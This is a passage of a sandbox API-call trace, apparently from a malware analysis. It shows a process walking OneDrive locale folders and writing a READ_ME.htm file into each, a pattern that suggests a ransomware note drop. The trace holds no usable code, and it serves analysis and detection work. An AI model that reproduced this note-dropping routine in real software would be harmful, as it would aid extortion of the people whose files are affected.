lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5403f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.374] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec5403f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5d8970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.374] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec5403f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5d8970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.374] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.374] SetErrorMode (uMode=0x0) returned 0x1 [0145.374] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca-es-valencia", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca-es-valencia", lpFilePart=0x0) returned 0x51 [0145.375] SetErrorMode (uMode=0x1) returned 0x0 [0145.375] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca-es-valencia\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ca-es-valencia\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5403f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.375] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5403f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.375] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec5403f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5d8970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.375] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec5403f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5d8970, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.376] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.376] SetErrorMode (uMode=0x0) returned 0x1 [0145.376] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca-es-valencia\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca-es-valencia\\READ_ME.htm", lpFilePart=0x0) returned 0x5d [0145.376] SetErrorMode (uMode=0x1) returned 0x0 [0145.376] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca-es-valencia\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ca-es-valencia\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.378] GetFileType (hFile=0x1d0) returned 0x1 [0145.378] SetErrorMode (uMode=0x0) returned 0x1 [0145.378] GetFileType (hFile=0x1d0) returned 0x1 [0145.378] WriteFile (in: hFile=0x1d0, lpBuffer=0x2828688*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2828688*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.380] CloseHandle (hObject=0x1d0) returned 1 [0145.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cs", lpFilePart=0x0) returned 0x45 [0145.380] SetErrorMode (uMode=0x1) returned 0x0 [0145.381] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cs\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\cs\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec5d8970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.382] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec5d8970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.382] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.383] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.383] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.383] SetErrorMode (uMode=0x0) returned 0x1 [0145.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cs", lpFilePart=0x0) returned 0x45 [0145.383] SetErrorMode (uMode=0x1) returned 0x0 [0145.384] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cs\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\cs\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec5d8970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec5d8970, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec7a19f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec7a19f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.384] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.384] SetErrorMode (uMode=0x0) returned 0x1 [0145.385] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cs\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cs\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.385] SetErrorMode (uMode=0x1) returned 0x0 [0145.385] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cs\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\cs\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.385] SetErrorMode (uMode=0x0) returned 0x1 [0145.385] GetFileType (hFile=0x1d0) returned 0x1 [0145.386] WriteFile (in: hFile=0x1d0, lpBuffer=0x282ec70*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x282ec70*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cy-gb", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cy-gb", lpFilePart=0x0) returned 0x48 [0145.387] SetErrorMode (uMode=0x1) returned 0x0 [0145.387] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cy-gb\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\cy-gb\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.389] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.389] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.389] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.389] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.389] SetErrorMode (uMode=0x0) returned 0x1 [0145.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cy-gb", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cy-gb", lpFilePart=0x0) returned 0x48 [0145.390] SetErrorMode (uMode=0x1) returned 0x0 [0145.390] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cy-gb\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\cy-gb\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.390] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7a19f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.390] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.390] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec96aa70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec96aa70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.390] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.390] SetErrorMode (uMode=0x0) returned 0x1 [0145.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cy-gb\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cy-gb\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.391] SetErrorMode (uMode=0x1) returned 0x0 [0145.391] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\cy-gb\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\cy-gb\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.391] SetErrorMode (uMode=0x0) returned 0x1 [0145.392] GetFileType (hFile=0x1d0) returned 0x1 [0145.392] WriteFile (in: hFile=0x1d0, lpBuffer=0x28352d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28352d8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\da", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\da", lpFilePart=0x0) returned 0x45 [0145.393] SetErrorMode (uMode=0x1) returned 0x0 [0145.393] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\da\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\da\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.394] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.394] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.394] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.394] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.394] SetErrorMode (uMode=0x0) returned 0x1 [0145.394] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\da", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\da", lpFilePart=0x0) returned 0x45 [0145.395] SetErrorMode (uMode=0x1) returned 0x0 [0145.395] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\da\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\da\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.395] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec96aa70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.395] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecb7fdb0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.395] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb7fdb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecb7fdb0, 